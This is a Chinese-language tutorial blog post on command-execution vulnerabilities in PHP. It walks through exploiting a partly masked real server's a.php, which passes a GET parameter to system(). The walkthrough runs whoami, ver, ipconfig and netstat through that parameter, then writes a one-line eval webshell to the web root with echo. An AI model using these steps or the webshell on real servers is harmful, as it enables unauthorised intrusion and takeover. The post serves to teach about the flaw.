asp 执行 exe_Web安全:命令执行漏洞

8a132aeaab9d7f9fe2ac77838a9aa7cd.png

命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval及exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。

命令执行漏洞产生的原因是,开发人员在编写PHP代码时,没有对代码中可执行的特殊函数入口进行过滤,导致客户端可以提交一些cmd命令(或者bash命令),并交由服务器程序执行。服务器程序没有过滤类似system、eval及exec等函数是该漏洞攻击成功的主要原因。

如今很多开源的PHP代码或者CMS几乎都存在命令执行漏洞,如W3CSchool、W3School、GitHub、Discuz!、DedeCms、PHPCMS及Drupal等。而且很多PHP代码开发人员不重视代码编写的安全性,直接复制一些网上的开源代码然后在自己的项目中使用。这样会产生很多安全隐患,开发人员一定要重视这个问题,不单是PHP,Java、ASP.NET及Python等也一样。

某站命令执行漏洞。开启浏览器,输入http://*.*.234.18/a.php,Web服务器返回信息如图1所示。

d7c1f0a1d60e3d15e96f81711f0f5e63.png

图1  物理地址泄露

我们可以看到,系统直接报错了。看到这一行错误提示:Warning: system():Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1。此时会想到:可能是system函数因未传入参数而导致执行时出错。看到这一行错误提示:Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1。此时会想到:可能是传入了a变量。

开启浏览器,输入http://*.*.234.18/a.php?a=,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1。我们可以看到Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1已经消失了,说明确实是传入了a变量。那么,此时为a变量赋一个值,提交至Web服务器。开启浏览器,输入http://*.*.234.18/a.php?a=123,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1。意外地,现在竟然只有一个错误了:没有定义的常量a。其实,这个错误是因为系统cmd找不到123这个系统命令才报错的。如果提交这些系统命令,那么肯定都会被系统cmd成功执行。提交http://*.*.234.18/a.php?a=whoami,Web服务器返回信息:Notice: Use of undefined constant a- assumed 'a' in C:\xampp\htdocs\a.php on line 1,vm-cmr2\vmcmr2 vm-cmr2\vmcmr2。提交http://*.*.234.18/a.php?a=ver,Web服务器返回信息:Notice:Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Microsoft Windows [Version 5.2.3790] Microsoft Windows [Version 5.2.3790]。提交http://*.*.234.18/a.php?a=ipconfig,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.122.254.27 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.122.254.254 Default Gateway . . . . .. . . . : 10.122.254.254。提交http://*.*.234.18/a.php?a=netstat -ano,Web服务器返回信息:Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1,Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 1236 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 712 TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 452 TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1030 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING 1388 TCP 0.0.0.0:1079 0.0.0.0:0 LISTENING 836 TCP 0.0.0.0:1556 0.0.0.0:0 LISTENING 1968 TCP 0.0.0.0:1920 0.0.0.0:0 LISTENING 1452。

此时,这里既然可以通过调用系统cmd来执行命令,那么,我们通过调用系统cmd来写PHP一句话木马文件的shell应该也不是什么问题。这显然是可以的,安全的思维能力就在于发散。其实,通过echo命令就可以将PHP一句话木马文件写入C:\xampp\htdocs目录下,其与a.php文件目录同级。命令为echo ^<?php @eval($_POST[cmd])?^> > C:\xampp\htdocs\x.php。写入后,就可以轻松获取shell了。获取到shell后,审计站点代码,才发现这个a.php文件的代码为<?php echo system($_GET[a]);?>,确实和预想得差不多,如图2所示。

50e6802233a53e463fa71995b95994d5.png

图2  获得webshell

文章来自:计算机与网络安全

ID:Computer-network

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值